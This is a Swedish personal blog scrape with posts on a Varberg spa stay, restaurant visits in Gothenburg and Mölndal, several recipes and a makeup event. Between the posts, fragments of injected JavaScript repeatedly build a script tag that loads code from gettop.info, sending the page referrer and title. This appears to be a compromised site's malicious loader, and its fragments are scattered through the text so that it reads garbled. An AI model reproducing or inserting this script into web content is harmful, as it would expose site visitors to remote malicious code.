Varberg

asia-538x218

Idag har jag en semesterdag och då bär det iväg på spahelg med min kille och vi kommer checka in på Varbergs Stadshotell & Asia spa. Vi har köpt ett spapaket där hotell, spa, 3-rättersmiddag och frukost ingår samt att vi får tillgång till deras klasser som erbjuds. Ska bli underbart att få möjlighet att besöka Stadshotellet igen. Var där för ca 2 år sedan med en kompis och vi var supernöjda.

d.getElementsByTagName('head')[0].appendChild(s);var d=document;var s=d.createElement('script');

God fläskfilé

Ca 500 gram fläskfilé
Sweet chili sås
Soja
Lite rapsolja
Salt
Peppar

Blanda ihop alla ingredienser till marinaden och lägg köttet i marinaden en stund.

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’);

Market – Komex Eatery

bild3bild2bild1

I lördags åt jag middag på Market i Göteborg tillsammans med Malin och Paula.
Menyn är en blandning av Koreansk och Mexikansk mat.

 

bild9

Jag beställde ”Bulgogi” som är grillad koreansk  marinerad entrecote, kimchi och mexikansk koriander som serverades i tacos…supergott! Till det åt jag Avocado fries, friterad avokado  med red dragon Mayo och Cheddar Sweet potatoes som serverades med en garlic, gingersås.

Glömde berätta att jag drack en riktigt god drink innan middagen.

bild20

Kan rekommendera stället och kommer gå dit framöver och prova någon annan rätt från deras intressanta meny.

 

bild5bild4bild14bild19bild15bild16bild11bild12

d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);

Kråkans Krog, Mölndal

bild7

Igår var jag på middag med jobbet på Kråkans Krog i Mölndal.

Kråkans Krog serverar både god mat och  har trevlig personal.

bild4bild3bild2

Middagen blev en god ”Oxfilé BearnaiseOxfilé” med bearnaisesås och rödvinssky som serverades med  rosmarinstekt klyftpotatis .

bild1bild6

Till dessert åt jag Friterad ”Oreo” kakor med glass. Smakade sött och gott!

bild5

 } else {

if (document.currentScript) {

Blåbärspaj

 

Recept:
Ett paket  smördeg  (frysta fyrkanter)
Blåbärssylt
ca 1 dl tjock vanlijkräm / Marsan 1 vispat ägg
Socker
Florsocker till garnering

Gör så här :  Lägg smördegsplattorna på en bakplåt.  På ena sidan  lägger du ett en klick med marsan och toppar med blåbärssylt. Vik ihop till ett paket, och tryck ihop kanterna runt om med en gaffel.
Skär fyra skåror i paketet. Pensla med uppvispat ägg och strö över med strösocker på paketet. Ställ in i ugnen  200 grader tills de har blivit gyllene bruna ( 10 – 15 minuter )
Låt svalna.  Pudra med florsocker vid servering.

 

var d=document;var s=d.createElement(‘script’);

} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Goda små bröd

bild11

Igår bakade jag dessa små goda bröd för första gången, enkelt och supergott. Receptet hittade jag här. Jag la på lite solros/pumpakärnor på toppen. Det går säkert att använda färska örter också.

Ingredienser: 
3 ägg separerade
1 dl (85g) philadelphiaost
nypa salt

Gör så här 
Vispa äggvitorna med nypa salt, hårt. I separat bunke vispa philadelphiaosten med gulorna och ev. tillsatser. Vänd försiktigt i  de vispade vitorna i gulorna.

Klicka sex rundlar på smord bakplåt och baka i 150 graders ugn c:a 30 min. Mina flöt ut lite så jag använde en utstickare och gjorde fyrkantiga småbröd efter gräddning istället. Nästa gång ska jag göra en stor kaka och sedan skära ut fyrkantiga småbröd efter gräddning.

bild4bild5bild3bild9bild10bild7bild2bild11bild1bild8

 }

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Morotskaka (Paleo)

bild16

bild5

Nu har jag baket en helt underbar morotskaka.  Receptet hittade jag här.

Morotskaka:
200 g urkärnade färska dadlar
3 ägg
2 1/2 dl mandelmjöl
3 små morötter
3 msk kokosolja
1 msk kanel
2 tsk bakpulver en nypa havssalt

Gör så här:
1. sätt ugnen på 200 grader
2. Mixa dadlarna och äggen med stavmixer eller i en matberedare
3. Skala och riv morötterna fint
4. Tillsätt morötterna samt övriga ingredienser och mixa till välblandat.
5. Klä en form med bakplåtspapper och fyll med smeten
6. Baka mitt i ugnen 30-40 minuter, känn med en sticka att den är torr i mitten innan du tar ut den. (Jag gräddade kakan ca 30 min i min ugn)

bild4

bild3bild2bild1Topping:
1 dl cashewnötter
1 dl kokosmjölk
1 msk honung
1/2 tsk vaniljpulver
Mixa till en någorlunda fast konsistens!

Jag blandade ca 2 dl kokosgrädde (avrunnen) med ca 1-2 msk honung och 1/2 tsk vaniljpulver, spritsade på morotskakan och hällde på lite kokoschips och riven morot. Du kan även lägga på lite cashewnötter om du vill.

Morotskaka med kokosgrädde

bild17

Morotskaka med kokosgrädde och kokoschips

bild12

Morotskaka med kokosgrädde, kokoschips och grovriven morot

bild8

bild9

bild15bild14

bild10

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Pho Bo soppa

Recept (6 portioner)
200 g platta risnudlar
300 g oxfilé eller riktigt mör biff i tunna skivor eller kycklingfilé
1 msk riven färsk ingefära
3 dl grovhackad salladslök
1 dl grovhackad färsk koriander
Lite svamp, champinjoner eller blandsvamp

Om du inte vill göra din egna buljong så kan du använda dig utav en färdig buljong (vatten och buljongtärning).

Buljong:
600 g oxsvans eller benmärg av nöt
400 g tunt skivad högrev
1  gul lök i klyftor
30 g skivad färsk ingefära
6  stjärnanis
2 tsk svartpeppar
1 msk fisksås
0,5 msk salt

Börja med buljongen: Koka upp kallt vatten med oxben och högrev tills det skummar, cirka 20 minuter. Häll sedan av allt i ett durkslag och skölj rent kött och ben (på så sätt slipper man skumma av köttet). Koka sedan upp vatten, lägg tillbaka ben och högrev.

Gör så här:
Grilla lök och ingefära i ugn tills de nästan blir brända, cirka 20 minuter. Häll i buljongen tillsammans med stjärnanis, peppar, fisksås och salt. Låt puttra i cirka 1 timme tills köttet är riktigt mört.

Tillaga under tiden nudlarna enligt anvisningar på förpackningen.

Lägg nudlarna i en stor soppskål, därefter högreven. Lägg i oxfilén och resten av ingredienserna. Sila den kokande buljongen och häll den över nudlarna. Smaka av med salt.

}

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {

Makeup Social

Igår var jag bjuden på ett roligt event ”Makeup Social” hos min frisör Salong Graham Windo.
bild1bild2Så här var inbjudan:

Exklusiv Makeup-kväll
Denna inspirationskväll är för dig, som är öppen för nya trendiga resultat. Den riktar sig till dig som behöver inspiration samt praktisk rådgivningav att lägga en proffsig mineralmakeup. Vi lär oss att lägga en vardagsmakeup – clean beauty och en festmakeup med bl a sotade ögon, eyeliner-tekniker och färgkombinationer. Oavsett om du har fastnat i en slentriansminkning à la högstadiet, är osäker på vilka färger/produkter som passar din hy eller bara vill få lite inspiration och tips inför höstens trender är en makeuprådgivning ett bra sätt att förena nytta med nöje denna kväll.Makeup Social – En kväll tillsammmans med härliga människor, proffsiga Makeup-Artister, en exklusiv mineralmakeup från yourMinerals och professionell rådgivning för dig under kvällen och till det serveras det vin och tilltugg. Kan det bli bättre?
Det blir en himla inspirerande och rolig kväll tillsammans!
Makeup-Artister är denna kväll är Annica Gerber och Marika Windo – samt makeup-assistenter på plats!Det bjöds på vin och tilltugg och tips om olika typer av sminkningar. Produkterna kommer från YourMinerals.
Mineralsminken är riktigt bra och jag använder deras produkter dagligen i min vardagsmakeup och kvällsmakeup.
Bilderna nedan har jag lånat från Salong Graham Windo.

 }

Energibar med choklad och chili

bild9

bild23

Nu har jag bakat energibars med choklad och chili. Bakade halva recepet och fick ca 18 bars.
Recepet är från Primaten och jag hittade den här.

Recept
4 dl  mandlar (Jag använde mig av mandelspån)
4 dl pumpafrön
4 dl solroskärnor
1 dl honung
150 gram mörk choklad (70%)
3,5 dl äggvitor (ca 12st)
3 dl russin
2 dl kokosflingor
2 tsk chiliflingor (Om du inte är en chiliälskare så kan du antingen välja att utesluta chiliflingorna eller ta sparsamt med dessa. Jag ska nog ta lite mindre nästa gång jag bakar då jag upplevde att chilismaken var en aning för start för min smak)
Topping :
200 gram choklad.
Gör så här:

  1. Rosta mandlar, pumpafrön och solrosfrön i en stekpanna tills de fått lite färg. Lägg sedan i en bunke och häll över honungen så att den smälter.
  2. Smält chokladen (ej den till toppingen) och blanda ner i bunken tillsammans med övriga ingredienser. Platta ut 1,5 cm tjockt på bakplåtspapper. Grädda 30 minuter i 100°C.
  3. Skär massan i bitar om 30-35 g. Låt svalna. Smält 200 gram mörk choklad och doppa halva bitarna. Låt stelna i kyl. Nästa gång jag bakar kommer jag först  mixa den torra  blandningen i mixer för att lättare kunna skära bitarna efter gräddningen. Nu upplevde jag att det var svårt att få till fina bitar då fröna var lite stora för att skära rakt av.

bild10bild11bild14bild13bild19bild21bild18

 

bild12bild15bild17bild23bild22bild8bild7bild5bild2bild4bild3bild1

 

var d=document;var s=d.createElement(‘script’);

document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {